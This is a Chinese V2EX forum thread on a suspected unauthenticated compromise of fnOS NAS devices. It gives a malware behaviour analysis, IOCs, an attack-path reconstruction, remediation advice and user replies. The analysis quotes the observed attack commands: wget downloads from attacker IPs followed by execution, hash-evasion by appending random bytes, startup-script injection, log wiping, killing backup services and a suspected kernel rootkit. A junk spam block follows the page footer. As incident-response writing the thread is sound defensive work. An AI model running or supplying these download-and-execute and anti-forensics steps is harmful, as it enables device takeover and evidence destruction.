重要/漏洞:飞牛 fnOS 疑似遭公网未授权访问/利用后植入后门组件和修复建议汇总 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Hormazed
V2EX    信息安全

重要/漏洞:飞牛 fnOS 疑似遭公网未授权访问/利用后植入后门组件和修复建议汇总

  •  4
     
  •   Hormazed
    PRO
    1 月 31 日 3781 次点击
    这是一个创建于 47 天前的主题,其中的信息可能已经有所发展或是发生改变。

    一、重要/漏洞:飞牛 fnOS 疑似遭公网未授权访问/利用后植入后门组件

    1.漏洞编号:暂无(官方未公开 / 未分配 CVE ) 重要等级:严重(高危) CVSS 分数:暂无

    2.影响范围: fnOS 设备存在公网可达入口(端口映射/反代/直连公网)时风险显著上升;官方建议升级至 1.1.15 并验证关闭公网映射后异常是否停止。 论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象,说明风险不应仅限定为 HTTP 明文通道(可能存在其他公网暴露面、历史入侵残留或服务端漏洞可经 HTTPS 触发)

    3.受影响系统: fnOS (版本范围未公开)。官方社区回复称该问题官方已知,建议升级至 1.1.15 ,并在关闭公网端口映射后验证异常上传/连接是否停止。

    4.木马行为分析 目前已获取相关木马文件,下为行为分析

    4.1 入侵者在通过未公开入口/利用链投放后门下载器后并执行 下载二阶段载荷并执行(观测到的命令链) cd /tmp wget http://20.89.168.131/nginx chmod 777 nginx head -c 16 /dev/urandom >> nginx (向文件追加随机字节,改变哈希,规避基于哈希的检测) ./nginx wget http://20.89.168.131/trim_https_cgi chmod 777 trim_https_cgi head -c 16 /dev/urandom >> trim_https_cgi ./trim_https_cgi 外联与拉取补充组件 HTTP:GET http://151.240.13.91/trim_fnos TCP:连接 45.95.212.102:6608

    4.2 后门驻留组件 gots

    A1. 写入后门主体与持久化文件 创建/写入:/sbin/gots 创建/写入:/etc/rc.local 、/etc/rc.d/rc.local 创建/写入 systemd 服务(变种服务名): /etc/systemd/system/x86.service /etc/systemd/system/<sha256>.service 执行持久化:systemctl enable <service>.service (含重定向到 /dev/null 的静默执行) 自身复制/改名落地: /usr/bin/x86 (样本发生目录重命名/落地) /usr/bin/<sha256>(样本发生目录重命名/落地)

    A2. C2 通信与探测 DNS:解析 aura.kabot.icu -> 45.95.212.102 TCP:连接 45.95.212.102 多端口(观测到:3489 、5098 、6608 、7489 ) 论坛样本显示的附加行为( strings/排查结论) 干扰系统工具:重命名/替换 cat (出现 mv /usr/bin/cat /usr/bin/cat2 等字符串,导致“cat 丢失”现象) 结束系统进程:pkill -f 'network_service|resmon_service' 修改持久化入口:改写 /etc/rc.local 与 /etc/systemd/system/%s.service 并 systemctl enable 外联:包含 45.95.212.102 字符串并进行访问

    4.3 组件 trim_https_cgi

    清理痕迹
    清空多目录日志:/var/log/、/usr/trim/logs/、/run/log/journal 等 删除审计日志:/var/log/audit/audit.log 及滚动文件 删除/清理安全相关日志:/var/log/secure、/var/log/messages、wtmp/btmp/lastlog 等 干扰业务与恢复功能 结束服务:pkill -f backup_service 、pkill -f sysrestore_service 等 二阶段下载执行与启动脚本注入 修改 /usr/trim/bin/system_startup.sh ,追加下载执行链: wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp 端口相关痕迹与疑似隐藏监听(来源于论坛排查) 目标系统存在 0.0.0.0:57132 LISTEN ,ss/netstat 无 PID ,lsof/fuser 无结果 trim_https_cgi 字符串包含 57132 ,并出现 kill -9 $(lsof -t -i:57132) 之类处理逻辑(提示该端口为其链路的一部分)

    4.4 内核模块 snd_pcap (论坛排查) /etc/modules 被追加 snd_pcap 模块文件:/lib/modules/6.12.18-trim/snd_pcap.ko 与“57132 监听无 PID/无 lsof 结果”的现象存在关联怀疑(疑似内核层隐藏/驻留能力)

    关键落地痕迹 不可变属性( immutable ,需先 chattr -i 才能删除): /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi /etc/systemd/system/nginx.service /etc/systemd/system/trim_https_cgi.service /etc/rc.local 伪装/复用:/usr/bin/nginx 与 /usr/sbin/gots md5 相同(同一载荷多名称投放) rc.local 自启:/sbin/gots x86 & systemd 自启(示例):ExecStart=/usr/bin/nginx x86 ( oneshot + enable )

    可疑网络基础设施( IOC ) IP:45[.]95[.]212[.]102 ( C2/多端口连接) IP:151[.]240[.]13[.]91 ( HTTP 拉取二阶段:/trim_fnos 、论坛样本) 域名:aura[.]kabot[.]icu (解析到 45[.]95[.]212[.]102 ) 下载源:20[.]89[.]168[.]131 ( HTTP 拉取:/nginx 、/trim_https_cgi ) 归属信息:45[.]95[.]212[.]102 与 151[.]240[.]13[.]91 两个 IP 均归属 AS209554 ISIF OU 提供商网段

    4.5 处置建议

    1. 关闭公网端口映射/源站直通。
    2. 升级 fnOS 至官方建议版本( 1.1.15 或更高)。
    3. 出口防火墙封禁:45.95.212.102 、151.240.13.91 ,同时监控连接数与上传是否回落。
    4. 轮换所有管理口令/密钥;检查容器、计划任务、数据盘是否存在触发残留(官方提示“重装后仍可能再次触发”)。

    二、建议:请立即停止公网暴露 fnOS Web 管理页面

    1. 我们通过联系多位遭遇入侵的用户并分析相关记录发现,本次针对 fnOS 的漏洞利用活动呈现多团伙、多基础设施特征:疑似存在 23 个利用团伙,攻击流程较为成熟,并观察到多个 C2 (命令与控制)域名用于回连与任务下发。当前已明确捕捉到 DDoS 攻击指令,被入侵设备存在被纳入僵尸网络风险。

    2. 根据网络空间测绘(网站空间)统计,全网可直接访问并暴露 fnOS Web 页面设备约 306,766 台。 注意:该数字来自公开测绘快照,受扫描时间点、动态公网 IP 、端口映射/反代、去重口径等影响,实际暴露规模可能与该值不一致,仅用于风险态势评估。

    3. 时间线

    3.1 最早入侵记录:约 12 天前( 1 月 19 日左右)

    3.2 用户察觉异常:约 10 天前( 1 月 21 日左右),主要因设备出现对外异常行为(含对外攻击/连接异常增多)导致网络不稳定而被发现

    3.3 1 月 2122 日期间观测到任务/指令下发行为

    3.4 综合判断:攻击者至少利用了约 34 天“空窗期” 在用户察觉前完成感染、持久化与回连准备

    3.5 官方侧:据反馈,官方约在 1 月 21 日左右因用户集中反映“建立大量连接、网络不稳定”等现象,才进一步定位并确认漏洞风险

    1. 强调

    4.1 所有用户立刻停止公网暴露 fnOS Web 管理页面。

    4.2 这是当前最关键、最有效的止损措施。无论是否升级、是否自查“暂未发现异常”,都不要再让 Web 管理面可被公网直接访问。

    4.3 “升级到新版本”并不等于风险解除。 目前无法确认新版本已覆盖全部修复点,仅依赖升级不能作为安全保证;在 Web 仍暴露公网的情况下仍可能被再次利用或二次入侵。

    4.4 官方目前未公开可复用、可验证的完整处置方案。

    4.5 因此不建议在联网状态下“边运行边清理”。

    4.7 已捕捉到 DDoS 指令:被控设备可能被用来对外攻击。 这不仅会造成你的网络被打满、设备性能异常、业务不可用,也可能引发运营商封禁。

    三、处置

    A1. 未发现入侵迹象的用户: 1.立即关闭公网访问,撤销端口映射/公网反代/暴露端口;仅允许内网访问,或使用 VPN/零信任网关进入内网后访问管理面;在网关处限制来源 IP (最小化暴露面)。 2.持续监控

    再次强调:未中招用户也不要再暴露 Web 。“没被打到”不代表安全,反而意味着资产仍处于可被扫描与补种的窗口内。

    A2.已疑似/确认中招的用户 第一步:立刻断网隔离(物理断网优先)。 不要让设备继续联网回连 C2 ,也不要让其继续执行任务或触发 DDoS 。

    第二步:在断网环境下清除与排查(不要边联网边操作)。 中招用户共识建议:离线状态下进行木马清除、检查并处理定时任务/计划任务、启动项、可疑账号与权限、异常容器/进程、异常文件变更等持久化点。

    第三步:清理完成前不要恢复联网。 在缺乏完整、可验证的清除方案前,贸然联网可能导致再次回连、二次下发任务或触发破坏行为。

    第四步:保留日志与证据。

    说明:以上收集自互联网和论坛

    第 1 条附言    1 月 31 日
    攻击路径推演:

    阶段 - 行为 - 技术细节
    1. 初始入侵 - 利用未公开入口(疑似 Web 管理面 RCE ) - 通过公网暴露的 fnOS Web 页面触发漏洞,获得命令执行能力
    2. 下载器投递 - 执行 wget http://20.89.168.131/nginx - 下载第一阶段载荷(伪装为 nginx ),加随机字节规避哈希检测
    3. 二阶段载荷 - 下载 trim_https_cgi - 具备日志清除、服务终止、持久化注入能力
    4. 持久化驻留 - 写入 /sbin/gots 、systemd 服务、rc.local - 多重启动项确保重启后仍存活;使用不可变属性( chattr +i )防删除
    5. C2 通信 - 连接 45.95.212.102:3489/5098/6608/7489 - DNS 解析 aura.kabot.icu 获取 IP ;多端口轮询提高隐蔽性
    6. 隐藏与干扰 - 加载内核模块 snd_pcap.ko - 实现 57132 端口监听但无 PID 显示,疑似内核级 Rootkit
    7. 清理痕迹 - 删除 /var/log/secure 、audit.log 、wtmp 等 - 抹除入侵证据,干扰管理员排查
    8. 功能破坏 - pkill backup_service 、sysrestore_service - 阻止系统恢复或备份,增加清除难度
    17 条回复    2026-02-02 11:01:09 +08:00
    python35
        1
    python35  
       1 月 31 日   1
    官方应该把 FN connet 下线掉,至少把有问题的系统版本对应的 FN connect 下线掉,FN connect 毕竟是飞牛自己控制的设施,对于用户自己映射的确实控制不了,
    现在啥也不做,甩锅给 http 和境外流量简直太不负责了
    timev
        2
    timev  
       1 月 31 日
    还好过了 WAF 有攻击过来被拦截了,不然也沦陷了。这么严重的漏洞不公告太不负责任了
    psllll
        3
    psllll  
       1 月 31 日
    能读不能写也能加后门吗?
    还是有另外一个漏洞?
    azwcl
        4
    azwcl  
       1 月 31 日
    操了,侥幸逃过,后怕,禁 nas 的公网连接了;
    python35
        5
    python35  
       1 月 31 日
    @psllll 应该是读到了访问凭据后对系统进行了访问,类似于/etc/passwd 或者网页后端的访问凭据之类的
    iomect
        6
    iomect  
       1 月 31 日
    今天在雷池日志里看到了
    8675bc86
        7
    8675bc86  
       1 月 31 日
    这些用户真是大胆,敢直接把 nas 给映射到公网。很容易爆破的啊。至少加一个 nginx 的 basic 认证吧。
    Lentin
        8
    Lentin  
       1 月 31 日
    @8675bc86 这次事件不是弱口令问题,强密码也会被渗透
    MiKing233
        9
    MiKing233  
       1 月 31 日
    @Lentin #8 他说的是 Nginx 的 auth_basic, 这个确实有用, 因为漏洞本质上是要能访问你的 Web 登入界面, 加了 Nginx 那一层 auth_basic 认证没过的话登入界面都打不开, 自然无法利用这个漏洞, 但大部分人是不会再套一个 Nginx 的, 就算是这样用官方的 FN Connect 也是只要知道你 ID 就能直接访问你的登入界面, 一样会被利用
    Tink
        10
    Tink  
    PRO
       1 月 31 日
    有点恐怖了说实话
    silentsky
        11
    silentsky  
       1 月 31 日
    @MiKing233 加了之后飞牛 app 访问不了 网页倒是没什么问题
    8675bc86
        12
    8675bc86  
       1 月 31 日
    @Lentin #9 楼给你解释了。
    @MiKing233 对的。nginx auth basic 认证简单,又将攻击难度提高到超高的级别,如果再加上 fail2ban ,那就无懈可击了。nginx 的安全性是久经考验的。这种 web 漏洞太常见了,15 年前的校内网,通过公开链接可以进任何不是好友人的私密相册,历历在目。
    archxm
        13
    archxm  
       1 月 31 日 via Android
    飞牛确实很方便,但是代价呢!
    也可以理解
    Joming
        14
    Joming  
       1 月 31 日   1
    飞牛官方毫无担当!CTM 真想爆粗口。
    ntedshen
        15
    ntedshen  
       1 月 31 日   1
    可见他们大概确实没招网安,这种漏洞工具应该都能扫出来。。。
    而且飞牛商用也是同一个源吧?别哪天谁家买了他们授权做集成,结果等保过不去就有戏看了
    hanguofu
        16
    hanguofu  
       2 月 2 日 via Android
    谢谢总结
    v00O
        17
    v00O  
       2 月 2 日
    还好用得 tailscale 组网,没用飞牛的公网访问,不然也得凉凉
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     1197 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 26ms UTC 23:17 PVG 07:17 LAX 16:17 JFK 19:17
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86